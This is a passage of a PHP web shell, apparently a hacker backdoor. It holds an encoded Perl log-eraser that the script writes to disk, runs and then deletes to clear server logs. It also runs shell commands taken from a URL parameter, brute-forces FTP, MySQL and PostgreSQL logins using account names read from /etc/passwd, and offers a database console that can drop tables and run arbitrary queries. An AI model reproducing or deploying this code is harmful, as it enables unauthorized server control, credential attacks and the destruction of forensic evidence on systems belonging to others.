3907 $erase = gzinflate(base64_decode("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"));
3908 if(is_writable("."))
3909 {
3910 if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
3911 {
3912 fwrite($openp, $erase);
3913 fclose($openp);
3914 passthru("perl logseraser.pl linux");
3915 unlink("logseraser.pl");
3916 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3917 }
3918 } else
3919 {
3920 if($openp = fopen("/tmp/logseraser.pl", 'w'))
3921 {
3922 fwrite($openp, $erase)or die("Error");
3923 fclose($openp);
3924 $aidx = passthru("perl logseraser.pl linux");
3925 unlink("logseraser.pl");
3926 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3927 }
3928 }
3929 }
3930 else
3931 {
3932 $check = shell_exec($_GET['mycmd']);
3933 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3934 }
3935}
3936else if(isset($_GET['prototype']))
3937{
3938 echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
3939 if( $_GET['prototype'] == 'ftp' )
3940 {
3941 function BruteFun($ip,$port,$login,$pass)
3942 {
3943 $fp = @ftp_connect($ip, $port?$port:21);
3944 if(!$fp) return false;
3945 $res = @ftp_login($fp, $login, $pass);
3946 @ftp_close($fp);
3947 return $res;
3948 }
3949 }
3950 elseif( $_GET['prototype'] == 'mysql' )
3951 {
3952 function BruteFun($ip,$port,$login,$pass)
3953 {
3954 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
3955 @mysql_close($res);
3956 return $res;
3957 }
3958 }
3959 elseif( $_GET['prototype'] == 'pgsql' )
3960 {
3961 function BruteFun($ip,$port,$login,$pass)
3962 {
3963 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
3964 $res = @pg_connect($str);
3965 @pg_close($res);
3966 return $res;
3967 }
3968 }
3969
3970 $success = 0;
3971 $attempts = 0;
3972 $server = explode(":", $_GET['server']);
3973 if($_GET['type'] == 1)
3974 {
3975 $temp = @file('/etc/passwd');
3976 if( is_array($temp))
3977 foreach($temp as $line)
3978 {
3979 $line = explode(":", $line);
3980 ++$attempts;
3981 if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
3982 {
3983 $success++;
3984 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
3985 }
3986 if(@$_GET['reverse'])
3987 {
3988 $tmp = "";
3989 for($i=strlen($line[0])-1; $i>=0; --$i)
3990 $tmp .= $line[0][$i];
3991 ++$attempts;
3992 if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
3993 {
3994 $success++;
3995 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
3996 }
3997 }
3998 }
3999 }
4000 elseif($_GET['type'] == 2)
4001 {
4002 $temp = @file($_GET['dict']);
4003 if( is_array($temp) )
4004 foreach($temp as $line)
4005 {
4006 $line = trim($line);
4007 ++$attempts;
4008 if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
4009 {
4010 $success++;
4011 echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
4012 }
4013 }
4014 }
4015 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
4016}
4017// Execute Query
4018else if(isset($_GET["executeit"]))
4019{
4020 if(isset($_GET['username']) && isset($_GET['server']))
4021 {
4022 $dbserver = $_GET['server'];
4023 $dbuser = $_GET['username'];
4024 $dbpass = $_GET['password'];
4025 if(mysql_connect($dbserver,$dbuser,$dbpass))
4026 {
4027 setcookie("dbserver", $dbserver);
4028 setcookie("dbuser", $dbuser);
4029 setcookie("dbpass", $dbpass);
4030
4031 listdatabase();
4032 }
4033 else
4034 echo "cannotconnect";
4035 }
4036}
4037else if(isset($_GET['action']) && isset($_GET['dbname']))
4038
4039
4040 {
4041 if($_GET['action'] == "createDB")
4042 {
4043 $dbname = $_GET['dbname'];
4044 $dbserver = $_COOKIE["dbserver"];
4045 $dbuser = $_COOKIE["dbuser"];
4046 $dbpass = $_COOKIE["dbpass"];
4047 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4048 mysql_query("create database $dbname",$mysqlHandle);
4049 listdatabase();
4050 }
4051 if($_GET['action'] == 'dropDB')
4052 {
4053 $dbname = $_GET['dbname'];
4054 $dbserver = $_COOKIE["dbserver"];
4055 $dbuser = $_COOKIE["dbuser"];
4056 $dbpass = $_COOKIE["dbpass"];
4057 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4058 mysql_query("drop database $dbname",$mysqlHandle);
4059 mysql_close($mysqlHandle);
4060 listdatabase();
4061 }
4062
4063 if($_GET['action'] == 'listTables')
4064 {
4065 listtable();
4066 }
4067
4068 // Create Tables
4069 if($_GET['action'] == "createtable")
4070 {
4071 $dbserver = $_COOKIE["dbserver"];
4072 $dbuser = $_COOKIE["dbuser"];
4073 $dbpass = $_COOKIE["dbpass"];
4074 $dbname = $_GET['dbname'];
4075 $tablename = $_GET['tablename'];
4076 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4077 mysql_select_db($dbname);
4078 mysql_query("CREATE TABLE $tablename ( no INT )");
4079 listtable();
4080 }
4081
4082 // Drop Tables
4083 if($_GET['action'] == "dropTable")
4084 {
4085 $dbserver = $_COOKIE["dbserver"];
4086 $dbuser = $_COOKIE["dbuser"];
4087 $dbpass = $_COOKIE["dbpass"];
4088 $dbname = $_GET['dbname'];
4089 $tablename = $_GET['tablename'];
4090 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4091 mysql_select_db($dbname);
4092 mysql_query("drop table $tablename");
4093 listtable();
4094 }
4095
4096 // Empty Tables
4097 if($_GET['action'] == "empty")
4098 {
4099 $dbserver = $_COOKIE["dbserver"];
4100 $dbuser = $_COOKIE["dbuser"];
4101 $dbpass = $_COOKIE["dbpass"];
4102 $dbname = $_GET['dbname'];
4103 $tablename = $_GET['tablename'];
4104 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4105 mysql_select_db($dbname);
4106 mysql_query("delete from $tablename");
4107 listtable();
4108 }
4109
4110 // Empty Tables
4111 if($_GET['action'] == "dropField")
4112 {
4113 $dbserver = $_COOKIE["dbserver"];
4114 $dbuser = $_COOKIE["dbuser"];
4115 $dbpass = $_COOKIE["dbpass"];
4116 $dbname = $_GET['dbname'];
4117 $tablename = $_GET['tablename'];
4118 $fieldname = $_GET['fieldname'];
4119 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4120 mysql_select_db($dbname);
4121 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
4122 mysql_select_db( $dbname, $mysqlHandle );
4123 mysql_query( $queryStr , $mysqlHandle );
4124 listtable();
4125 }
4126
4127 if($_GET['action'] == 'viewdb')
4128 {
4129 listdatabase();
4130 }
4131
4132 // View Table Schema
4133 if($_GET['action'] == "viewSchema")
4134 {
4135 $dbserver = $_COOKIE["dbserver"];
4136 $dbuser = $_COOKIE["dbuser"];
4137 $dbpass = $_COOKIE["dbpass"];
4138 $dbname = $_GET['dbname'];
4139 $tablename = $_GET['tablename'];
4140 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4141 mysql_select_db($dbname);
4142 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4143 $pResult = mysql_query( "SHOW fields FROM $tablename" );
4144 $num = mysql_num_rows( $pResult );
4145 echo "<br><br><table align=center cellspacing=4 style='width:80%;' border=1>";
4146 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
4147 for( $i = 0; $i < $num; $i++ )
4148 {
4149 $field = mysql_fetch_array( $pResult );
4150 echo "<tr>\n";
4151 echo "<td>".$field["Field"]."</td>\n";
4152 echo "<td>".$field["Type"]."</td>\n";
4153 echo "<td>".$field["Null"]."</td>\n";
4154 echo "<td>".$field["Key"]."</td>\n";
4155 echo "<td>".$field["Default"]."</td>\n";
4156 echo "<td>".$field["Extra"]."</td>\n";
4157 $fieldname = $field["Field"];
4158 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
4159 echo "</tr>\n";
4160 }
4161 echo "</table>";
4162 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4163 }
4164
4165 // Execute Query
4166 if($_GET['action'] == "executequery")
4167 {
4168 $dbserver = $_COOKIE["dbserver"];
4169 $dbuser = $_COOKIE["dbuser"];
4170 $dbpass = $_COOKIE["dbpass"];
4171 $dbname = $_GET['dbname'];
4172 $tablename = $_GET['tablename'];
4173 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4174 mysql_select_db($dbname);
4175 $result = mysql_query($_GET['executemyquery']);
4176
4177 // results
4178 echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
4179
4180 $count = 0;
4181 while ($row = mysql_fetch_assoc($result))
4182 {
4183 echo "<tr>\r\n";
4184
4185 if ($count==0) // list column names
4186 {
4187 echo "<tr>\r\n";
4188 while($key = key($row))
4189 {
4190 echo "<td><b>" . $key . "</b></td>\r\n";
4191 next($row);
4192 }
4193 echo "</tr>\r\n";
4194 }
4195
4196 foreach($row as $r) // list content of column names
4197 {
4198 if ($r=='') $r = '<font >NULL</font>';
4199 echo "<td><font class=txt>" . $r . "</font></td>\r\n";
4200 }
4201 echo "</tr>\r\n";
4202 $count++;
4203 }
4204 echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
4205 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4206 }
4207
4208 // View Table Data
4209 if($_GET['action'] == "viewdata")
4210 {
4211 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4212 $dbserver = $_COOKIE["dbserver"];
4213 $dbuser = $_COOKIE["dbuser"];
4214 $dbpass = $_COOKIE["dbpass"];
4215 $dbname = $_GET['dbname'];
4216 $tablename = $_GET['tablename'];
4217 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4218 ?>
4219 <br><br>
4220 <form>
4221 <table>
4222 <tr>
4223 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
4224 </tr>
4225 <tr>
4226 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
4227 </tr>
4228 </table>
4229 </form>
4230 <?php
4231 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4232 mysql_select_db($dbname);
4233
4234 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4235 $row = mysql_fetch_array($sql);
4236 $rowid = $row['COLUMN_NAME'];
4237
4238 echo "<br><font size=4 color =lime>Data in Table</font><br>";
4239 if( $tablename != "" )
4240 echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
4241 else
4242 echo "<font size=3 class=txt>$dbname</font><br>";
4243
4244 $queryStr = "";
4245 $pag = 0;
4246 $queryStr = stripslashes( $queryStr );
4247 if( $queryStr == "" )
4248 {
4249 if(isset($_REQUEST['page']))
4250 {
4251 $res = mysql_query("select * from $tablename");
4252 $getres = mysql_num_rows($res);
4253 $coun = ceil($getres/30);
4254 if($_REQUEST['page'] != 1)
4255
4256 $pag = $_REQUEST['page'] * 30;
4257 else
4258 $pag = $_REQUEST['page'] * 30;
4259
4260 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
4261 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
4262 $arrcount = 1;
4263 $arrdata[$arrcount] = 0;
4264 while($row = mysql_fetch_array($sql))
4265 {
4266 $arrdata[$arrcount] = $row[$rowid];
4267 $arrcount++;
4268 }
4269 }
4270 else
4271 {
4272 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
4273 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
4274 $arrcount = 1;
4275 $arrdata[$arrcount] = 0;
4276 while($row = mysql_fetch_array($sql))
4277 {
4278 $arrdata[$arrcount] = $row[$rowid];
4279 $arrcount++;
4280 }
4281 }
4282 if( $orderby != "" )
4283 $queryStr .= " ORDER BY $orderby";
4284 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
4285 }
4286
4287
4288 $pResult = mysql_query($queryStr );
4289 $fieldt = mysql_fetch_field($pResult);
4290 $tablename = $fieldt->table;
4291 $errMsg = mysql_error();
4292
4293 $GLOBALS[queryStr] = $queryStr;
4294
4295 if( $pResult == false )
4296 {
4297 echoQueryResult();
4298 return;
4299 }
4300 if( $pResult == 1 )
4301 {
4302 $errMsg = "Success";
4303 echoQueryResult();
4304 return;
4305 }
4306
4307 echo "<hr color='#1B1B1B'>\n";
4308
4309 $row = mysql_num_rows( $pResult );
4310 $col = mysql_num_fields( $pResult );
4311
4312 if( $row == 0 )
4313 {
4314 echo "<font size=3>No Data Exist!</font>";
4315 return;
4316 }
4317
4318 if( $rowperpage == "" ) $rowperpage = 30;
4319 if( $page == "" ) $page = 0;
4320 else $page--;
4321 mysql_data_seek( $pResult, $page * $rowperpage );
4322
4323 echo "<table cellspacing=1 cellpadding=5 border=1 align=center>\n";
4324 echo "<tr>\n";
4325 for( $i = 0; $i < $col; $i++ )
4326 {
4327 $field = mysql_fetch_field( $pResult, $i );
4328 echo "<th>";
4329 if($action == "viewdata")
4330 echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
4331 else
4332 echo $field->name."\n";
4333 echo "</th>\n";
4334 }
4335 echo "<th colspan=2>Action</th>\n";
4336 echo "</tr>\n";
4337 $num=1;
4338
4339
4340 $acount = 1;
4341
4342 for( $i = 0; $i < $rowperpage; $i++ )
4343 {
4344 $rowArray = mysql_fetch_row( $pResult );
4345 if( $rowArray == false ) break;
4346 echo "<tr>\n";
4347 $key = "";
4348 for( $j = 0; $j < $col; $j++ )
4349 {
4350 $data = $rowArray[$j];
4351
4352 $field = mysql_fetch_field( $pResult, $j );
4353 if( $field->primary_key == 1 )
4354 $key .= "&" . $field->name . "=" . $data;
4355
4356 if( strlen( $data ) > 30 )
4357 $data = substr( $data, 0, 30 ) . "...";
4358 $data = htmlspecialchars( $data );
4359 echo "<td>\n";
4360 echo "<font class=txt>$data</font>\n";
4361 echo "</td>\n";
4362 }
4363
4364 if(!is_numeric($arrdata[$acount]))
4365 echo "<td colspan=2>No Key</td>\n";
4366 else
4367 {
4368 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
4369 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
4370 $acount++;
4371 }
4372 }
4373 echo "</tr>\n";
4374
4375
4376 echo "</table>";
4377 if($arrcount > 30)
4378 {
4379 $res = mysql_query("select * from $tablename");
4380 $getres = mysql_num_rows($res);
4381 $coun = ceil($getres/30);
4382 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
4383 for($i=0;$i<$coun;$i++)
4384 echo "<option value=$i>$i</option>";
4385
4386 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
4387 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4388 }
4389 }
4390
4391 // Delete Table Data
4392 if($_GET['action'] == "deleteData")
4393 {
4394 $dbserver = $_COOKIE["dbserver"];
4395 $dbuser = $_COOKIE["dbuser"];
4396 $dbpass = $_COOKIE["dbpass"];
4397 $dbname = $_GET['dbname'];
4398 $tablename = $_GET['tablename'];
4399 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4400 mysql_select_db($dbname);
4401 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4402 $row = mysql_fetch_array($sql);
4403 $row = $row['COLUMN_NAME'];
4404 $rowid = $_GET[$row];
4405 mysql_query("delete from $tablename where $row = '$rowid'");
4406 listtable();
4407 }
4408 // Edit Table Data
4409 if($_GET['action'] == "editData")
4410 {
4411 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4412 $dbserver = $_COOKIE["dbserver"];
4413 $dbuser = $_COOKIE["dbuser"];
4414 $dbpass = $_COOKIE["dbpass"];
4415 $dbname = $_GET['dbname'];
4416 $tablename = $_GET['tablename'];
4417 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4418 ?>
4419 <br><br>
4420 <form action="<?php echo $self; ?>" method="post">
4421 <?php
4422 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4423 mysql_select_db($dbname);
4424
4425 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4426 $row = mysql_fetch_array($sql);
4427 $row = $row['COLUMN_NAME'];
4428 $rowid = $_GET[$row];
4429
4430 $pResult = mysql_list_fields( $dbname, $tablename );
4431 $num = mysql_num_fields( $pResult );
4432
4433 $key = "";
4434 for( $i = 0; $i < $num; $i++ )
4435 {
4436 $field = mysql_fetch_field( $pResult, $i );
4437 if( $field->primary_key == 1 )
4438 if( $field->numeric == 1 )
4439 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
4440 else
4441 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
4442 }
4443 $key = substr( $key, 0, strlen($key)-4 );
4444
4445 mysql_select_db( $dbname, $mysqlHandle );
4446 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
4447 $data = mysql_fetch_array( $pResult );
4448
4449 echo "<table cellspacing=1 cellpadding=2 border=1>\n";
4450 echo "<tr>\n";
4451 echo "<th>Name</th>\n";
4452 echo "<th>Type</th>\n";
4453 echo "<th>Function</th>\n";
4454 echo "<th>Data</th>\n";
4455 echo "</tr>\n";
4456
4457 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4458 $num = mysql_num_rows( $pResult );
4459
4460 $pResultLen = mysql_list_fields( $dbname, $tablename );
4461 $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
4462 $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
4463 for( $i = 0; $i < $num; $i++ )
4464 {
4465 $field = mysql_fetch_array( $pResult );
4466 $fieldname = $field["Field"];
4467 $fieldtype = $field["Type"];
4468 $len = mysql_field_len( $pResultLen, $i );
4469
4470 echo "<tr>";
4471 echo "<td>$fieldname</td>";
4472 echo "<td>".$field["Type"]."</td>";
4473 echo "<td>\n";
4474 echo "<select name=${fieldname}_function class=sbox>\n";
4475 echo "<option>\n";
4476 echo "<option>ASCII\n";
4477 echo "<option>CHAR\n";
4478 echo "<option>SOUNDEX\n";
4479 echo "<option>CURDATE\n";
4480 echo "<option>CURTIME\n";
4481 echo "<option>FROM_DAYS\n";
4482 echo "<option>FROM_UNIXTIME\n";
4483 echo "<option>NOW\n";
4484 echo "<option>PASSWORD\n";
4485 echo "<option>PERIOD_ADD\n";
4486 echo "<option>PERIOD_DIFF\n";
4487 echo "<option>TO_DAYS\n";
4488 echo "<option>USER\n";
4489 echo "<option>WEEKDAY\n";
4490 echo "<option>RAND\n";
4491 echo "</select>\n";
4492 echo "</td>\n";
4493 $value = htmlspecialchars($data[$i]);
4494 $type = strtok( $fieldtype, " (,)\n" );
4495 if( $type == "enum" || $type == "set" )
4496 {
4497 echo "<td>\n";
4498 if( $type == "enum" )
4499 echo "<select name=$fieldname class=box>\n";
4500 else if( $type == "set" )
4501 echo "<select name=$fieldname size=4 class=box multiple>\n";
4502 while( $str = strtok( "'" ) )
4503 {
4504 if( $value == $str )
4505 echo "<option selected>$str\n";
4506 else
4507 echo "<option>$str\n";
4508 strtok( "'" );
4509 }
4510 echo "</select>\n";
4511 echo "</td>\n";
4512 }
4513 else
4514 {
4515 if( $len < 40 )
4516 echo "<td><input type=text size=40 maxlength=$len id=D4RK_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
4517 else
4518 echo "<td><textarea cols=47 rows=3 maxlength=$len name=D4RK_$fieldname class=box>$value</textarea>\n";
4519 }
4520 $fundata1 .= "'D4RK_".$fieldname."',D4RK_".$fieldname.".value,";
4521 $fundata2 .= "'D4RK_".$fieldname."',D4RK_".$fieldname.".value,";
4522 echo "</tr>";
4523 }
4524 $fundata1=eregi_replace(',$', '', $fundata1);
4525 $fundata2=eregi_replace(',$', '', $fundata2);
4526
4527 echo "</table><p>\n";
4528 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
4529 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
4530 echo "</form>\n";
4531 }
4532 }
4533// Edit Submit Table Data
4534else if($_REQUEST['action'] == "editsubmitData")
4535{
4536 $dbserver = $_COOKIE["dbserver"];
4537 $dbuser = $_COOKIE["dbuser"];
4538 $dbpass = $_COOKIE["dbpass"];
4539 $dbname = $_POST['dbname'];
4540 $tablename = $_POST['tablename'];
4541
4542 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4543 mysql_select_db($dbname);
4544
4545 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4546 $row = mysql_fetch_array($sql);
4547 $row = $row['COLUMN_NAME'];
4548 $rowid = $_POST[$row];
4549
4550 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4551 $num = mysql_num_rows( $pResult );
4552
4553 $rowcount = $num;
4554
4555 $pResultLen = mysql_list_fields( $dbname, $tablename );
4556
4557 for( $i = 0; $i < $num; $i++ )
4558 {
4559 $field = mysql_fetch_array( $pResult );
4560 $fieldname = $field["Field"];
4561 $arrdata = $_REQUEST[$fieldname];
4562
4563 $str .= " " . $fieldname . " = '" . $arrdata . "'";
4564 $rowcount--;
4565 if($rowcount != 0)
4566 $str .= ",";
4567 }
4568
4569 $str = "update $tablename set" . $str . " where $row=$rowid";
4570 mysql_query($str);
4571 ?><div id="showsql"></div><?php
4572}
4573// Insert Table Data
4574else if($_REQUEST['action'] == "insertdata")
4575{
4576 $dbserver = $_COOKIE["dbserver"];
4577 $dbuser = $_COOKIE["dbuser"];
4578 $dbpass = $_COOKIE["dbpass"];
4579 $dbname = $_POST['dbname'];
4580 $tablename = $_POST['tablename'];
4581
4582 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4583 mysql_select_db($dbname);
4584
4585 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4586 $row = mysql_fetch_array($sql);
4587 $row = $row['COLUMN_NAME'];
4588 $rowid = $_POST[$row];
4589
